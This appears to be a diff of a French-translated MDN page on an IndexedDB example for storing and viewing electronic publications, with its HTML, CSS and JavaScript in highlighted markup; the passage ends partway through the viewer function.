+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-viewer<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pub-list<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css  language-css"><code class="language-css"><span class="selector token">body </span><span class="punctuation token">{</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> 0.8em<span class="punctuation token">;</span>
+  <span class="property token">font-family</span><span class="punctuation token">:</span> Sans-Serif<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">form </span><span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> #cccccc<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> 0.3em<span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> inline-block<span class="punctuation token">;</span>
+  <span class="property token">margin-bottom</span><span class="punctuation token">:</span> 0.5em<span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> 1em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">table </span><span class="punctuation token">{</span>
+  <span class="property token">border-collapse</span><span class="punctuation token">:</span> collapse<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">input </span><span class="punctuation token">{</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> 0.3em<span class="punctuation token">;</span>
+  <span class="property token">border-color</span><span class="punctuation token">:</span> #cccccc<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> 0.3em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">.required:after </span><span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">"*"</span><span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> red<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">.button-pane </span><span class="punctuation token">{</span>
+  <span class="property token">margin-top</span><span class="punctuation token">:</span> 1em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">#pub-viewer </span><span class="punctuation token">{</span>
+  <span class="property token">float</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> 48%<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> 20em<span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> solid #d092ff 0.1em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">#pub-viewer iframe </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> 100%<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> 100%<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">#pub-list </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> 46%<span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> #eeeeee<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> 0.3em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">#pub-list li </span><span class="punctuation token">{</span>
+  <span class="property token">padding-top</span><span class="punctuation token">:</span> 0.5em<span class="punctuation token">;</span>
+  <span class="property token">padding-bottom</span><span class="punctuation token">:</span> 0.5em<span class="punctuation token">;</span>
+  <span class="property token">padding-right</span><span class="punctuation token">:</span> 0.5em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">#msg </span><span class="punctuation token">{</span>
+  <span class="property token">margin-bottom</span><span class="punctuation token">:</span> 1em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">.action-success </span><span class="punctuation token">{</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> 0.5em<span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> #00d21e<span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> #eeeeee<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> 0.2em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">.action-failure </span><span class="punctuation token">{</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> 0.5em<span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> #ff1408<span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> #eeeeee<span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> 0.2em<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">.note </span><span class="punctuation token">{</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> smaller<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">.destructive </span><span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> orange<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">.destructive:hover </span><span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> #ff8000<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">.destructive:active </span><span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> red<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> COMPAT_ENVS <span class="operator token">=</span> <span class="punctuation token">[</span>
+    <span class="punctuation token">[</span><span class="string token">'Firefox'</span><span class="punctuation token">,</span> <span class="string token">"&gt;= 16.0"</span><span class="punctuation token">]</span><span class="punctuation token">,</span>
+    <span class="punctuation token">[</span><span class="string token">'Google Chrome'</span><span class="punctuation token">,</span>
+     <span class="string token">"&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"</span><span class="punctuation token">]</span>
+  <span class="punctuation token">]</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> compat <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#compat'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  compat<span class="punctuation token">.</span><span class="function token">empty<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  compat<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span><span class="string token">'&lt;ul id="compat-list"&gt;&lt;/ul&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  COMPAT_ENVS<span class="punctuation token">.</span><span class="function token">forEach<span class="punctuation token">(</span></span><span class="keyword token">function</span><span class="punctuation token">(</span>val<span class="punctuation token">,</span> idx<span class="punctuation token">,</span> array<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    $<span class="punctuation token">(</span><span class="string token">'#compat-list'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span><span class="string token">'&lt;li&gt;'</span> <span class="operator token">+</span> val<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">+</span> <span class="string token">': '</span> <span class="operator token">+</span> val<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span> <span class="operator token">+</span> <span class="string token">'&lt;/li&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">const</span> DB_NAME <span class="operator token">=</span> <span class="string token">'mdn-demo-indexeddb-epublications'</span><span class="punctuation token">;</span>
+  <span class="keyword token">const</span> DB_VERSION <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span><span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Utilisez un "long long" pour cette valeur (ne pas utiliser un flottant (float))</span></span> <code class="language-js"><span class="comment token">
+</span>  <span class="keyword token">const</span> DB_STORE_NAME <span class="operator token">=</span> <span class="string token">'publications'</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> db<span class="punctuation token">;</span>
+
+ <span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Utilisé pour garder une trace de la vue affichée pour éviter de la recharger inutilement</span></span><code class="language-js"><span class="comment token">
+</span>  <span class="keyword token">var</span> current_view_pub_key<span class="punctuation token">;</span>
+
+  <span class="keyword token">function</span> <span class="function token">openDb<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"openDb ..."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> req <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span>DB_NAME<span class="punctuation token">,</span> DB_VERSION<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+     <span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Le mieux utiliser "this" que "req" pour obtenir le résultat et éviter </span></span> <code class="language-js"><span class="comment token">
+</span>     <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>les problèmes avec "</span></span><code class="language-js"><span class="comment token">garbage collection".
+</span>     <span class="comment token"> // db = req.result;
+</span>      db <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"openDb DONE"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"openDb:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>errorCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+    req<span class="punctuation token">.</span>onupgradeneeded <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"openDb.onupgradeneeded"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> store <span class="operator token">=</span> evt<span class="punctuation token">.</span>currentTarget<span class="punctuation token">.</span>result<span class="punctuation token">.</span><span class="function token">createObjectStore<span class="punctuation token">(</span></span>
+        DB_STORE_NAME<span class="punctuation token">,</span> <span class="punctuation token">{</span> keyPath<span class="punctuation token">:</span> <span class="string token">'id'</span><span class="punctuation token">,</span> autoIncrement<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+      store<span class="punctuation token">.</span><span class="function token">createIndex<span class="punctuation token">(</span></span><span class="string token">'biblioid'</span><span class="punctuation token">,</span> <span class="string token">'biblioid'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> unique<span class="punctuation token">:</span> <span class="keyword token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      store<span class="punctuation token">.</span><span class="function token">createIndex<span class="punctuation token">(</span></span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'title'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> unique<span class="punctuation token">:</span> <span class="keyword token">false</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      store<span class="punctuation token">.</span><span class="function token">createIndex<span class="punctuation token">(</span></span><span class="string token">'year'</span><span class="punctuation token">,</span> <span class="string token">'year'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> unique<span class="punctuation token">:</span> <span class="keyword token">false</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * @paramètre {string}<em>(chaîne de caractères)</em> store_name
+   * @paramètre {string}<em>(chaîne de caractères)</em> mode either "readonly" ou "readwrite"
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>store_name<span class="punctuation token">,</span> mode<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> tx <span class="operator token">=</span> db<span class="punctuation token">.</span><span class="function token">transaction<span class="punctuation token">(</span></span>store_name<span class="punctuation token">,</span> mode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">return</span> tx<span class="punctuation token">.</span><span class="function token">objectStore<span class="punctuation token">(</span></span>store_name<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">clearObjectStore<span class="punctuation token">(</span></span>store_name<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> store <span class="operator token">=</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>DB_STORE_NAME<span class="punctuation token">,</span> <span class="string token">'readwrite'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="function token">clear<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="function token">displayActionSuccess<span class="punctuation token">(</span></span><span class="string token">"Store cleared"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayPubList<span class="punctuation token">(</span></span>store<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"clearObjectStore:"</span><span class="punctuation token">,</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>errorCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">.</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">getBlob<span class="punctuation token">(</span></span>key<span class="punctuation token">,</span> store<span class="punctuation token">,</span> success_callback<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> value <span class="operator token">=</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>value<span class="punctuation token">)</span>
+        <span class="function token">success_callback<span class="punctuation token">(</span></span>value<span class="punctuation token">.</span>blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">/**
+   * @paramètre objet de stockage {IDBObjectStore=}
+   */</span>
+  <span class="keyword token">function</span> <span class="function token">displayPubList<span class="punctuation token">(</span></span>store<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"displayPubList"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">typeof</span> store <span class="operator token">==</span> <span class="string token">'undefined'</span><span class="punctuation token">)</span>
+      store <span class="operator token">=</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>DB_STORE_NAME<span class="punctuation token">,</span> <span class="string token">'readonly'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> pub_msg <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-msg'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    pub_msg<span class="punctuation token">.</span><span class="function token">empty<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> pub_list <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-list'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    pub_list<span class="punctuation token">.</span><span class="function token">empty<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+   <span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Réinitialisation de l'iframe afin qu'il n'indique pas le contenu précédent</span></span> <code class="language-js"><span class="comment token">
+</span>    <span class="function token">newViewerFrame<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> req<span class="punctuation token">;</span>
+    req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="function token">count<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+   <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Les requêtes sont exécutées dans l'ordre où elles ont été faites en-dehors de la</span></span> <code class="language-js"><span class="comment token">
+</span>   <span class="comment token"> // transaction, </span></code> <span id="result_box" lang="fr"><span>et leurs résultats sont retournés dans le même ordre.</span></span> <code class="language-js"><span class="comment token">
+</span>   <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>Ainsi, le texte du compteur ci-dessous sera affiché avant la liste de pub actuelle</span></span> <code class="language-js"><span class="comment token">
+</span>   <span class="comment token"> // </span></code><span id="result_box" lang="fr"><span>(ce n'est pas algorithmiquement important dans ce cas)</span></span> <code class="language-js"><span class="comment token">.
+</span>    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      pub_msg<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span><span class="string token">'&lt;p&gt;There are &lt;strong&gt;'</span> <span class="operator token">+</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result <span class="operator token">+</span>
+                     <span class="string token">'&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onerror <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"add error"</span><span class="punctuation token">,</span> <span class="keyword token">this</span><span class="punctuation token">.</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayActionFailure<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">.</span>error<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+    req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="function token">openCursor<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> cursor <span class="operator token">=</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+
+     <span class="comment token"> // </span></code> <span id="result_box" lang="fr"><span>Si le curseur pointe vers quelque chose, demandez les données</span></span> <code class="language-js"><span class="comment token">
+</span>      <span class="keyword token">if</span> <span class="punctuation token">(</span>cursor<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"displayPubList cursor:"</span><span class="punctuation token">,</span> cursor<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        req <span class="operator token">=</span> store<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span>cursor<span class="punctuation token">.</span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        req<span class="punctuation token">.</span>onsuccess <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+          <span class="keyword token">var</span> value <span class="operator token">=</span> evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span>result<span class="punctuation token">;</span>
+          <span class="keyword token">var</span> list_item <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'&lt;li&gt;'</span> <span class="operator token">+</span>
+                            <span class="string token">'['</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>key <span class="operator token">+</span> <span class="string token">'] '</span> <span class="operator token">+</span>
+                            <span class="string token">'(biblioid: '</span> <span class="operator token">+</span> value<span class="punctuation token">.</span>biblioid <span class="operator token">+</span> <span class="string token">') '</span> <span class="operator token">+</span>
+                            value<span class="punctuation token">.</span>title <span class="operator token">+</span>
+                            <span class="string token">'&lt;/li&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="keyword token">if</span> <span class="punctuation token">(</span>value<span class="punctuation token">.</span>year <span class="operator token">!</span><span class="operator token">=</span> <span class="keyword token">null</span><span class="punctuation token">)</span>
+            list_item<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span><span class="string token">' - '</span> <span class="operator token">+</span> value<span class="punctuation token">.</span>year<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+          <span class="keyword token">if</span> <span class="punctuation token">(</span>value<span class="punctuation token">.</span><span class="function token">hasOwnProperty<span class="punctuation token">(</span></span><span class="string token">'blob'</span><span class="punctuation token">)</span> <span class="operator token">&amp;&amp;</span>
+              <span class="keyword token">typeof</span> value<span class="punctuation token">.</span>blob <span class="operator token">!</span><span class="operator token">=</span> <span class="string token">'undefined'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+            <span class="keyword token">var</span> link <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'&lt;a href="'</span> <span class="operator token">+</span> cursor<span class="punctuation token">.</span>key <span class="operator token">+</span> <span class="string token">'"&gt;File&lt;/a&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+            link<span class="punctuation token">.</span><span class="function token">on<span class="punctuation token">(</span></span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="keyword token">false</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+            link<span class="punctuation token">.</span><span class="function token">on<span class="punctuation token">(</span></span><span class="string token">'mouseenter'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+                      <span class="function token">setInViewer<span class="punctuation token">(</span></span>evt<span class="punctuation token">.</span>target<span class="punctuation token">.</span><span class="function token">getAttribute<span class="punctuation token">(</span></span><span class="string token">'href'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+            list_item<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span><span class="string token">' / '</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+            list_item<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span>link<span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+            list_item<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span><span class="string token">" / No attached file"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+          <span class="punctuation token">}</span>
+          pub_list<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span>list_item<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+       <span class="comment token"> // </span></code> <span class="short_text" id="result_box" lang="fr"><span>Passer à l'objet de stockage suivant</span></span><code class="language-js"><span class="comment token">
+</span>        cursor<span class="punctuation token">.</span><span class="keyword token">continue</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+       <span class="comment token"> // Ce compteur sert seulement à créer des identifiants distincts
+</span>        i<span class="operator token">++</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+        console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"No more entries"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">newViewerFrame<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> viewer <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'#pub-viewer'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    viewer<span class="punctuation token">.</span><span class="function token">empty<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">var</span> iframe <span class="operator token">=</span> $<span class="punctuation token">(</span><span class="string token">'&lt;iframe /&gt;'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    viewer<span class="punctuation token">.</span><span class="function token">append<span class="punctuation token">(</span></span>iframe<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">return</span> iframe<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">function</span> <span class="function token">setInViewer<span class="punctuation token">(</span></span>key<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"setInViewer:"</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    key <span class="operator token">=</span> <span class="function token">Number<span class="punctuation token">(</span></span>key<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>key <span class="operator token">==</span> current_view_pub_key<span class="punctuation token">)</span>
+      <span class="keyword token">return</span><span class="punctuation token">;</span>
+
+    current_view_pub_key <span class="operator token">=</span> key<span class="punctuation token">;</span>
+
+    <span class="keyword token">var</span> store <span class="operator token">=</span> <span class="function token">getObjectStore<span class="punctuation token">(</span></span>DB_STORE_NAME<span class="punctuation token">,</span> <span class="string token">'readonly'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">getBlob<span class="punctuation token">(</span></span>key<span class="punctuation token">,</span> store<span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>blob<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"setInViewer blob:"</span><span class="punctuation token">,</span> blob<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">var</span> iframe <span class="operator token">=</span> <span class="function token">newViewerFrame<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
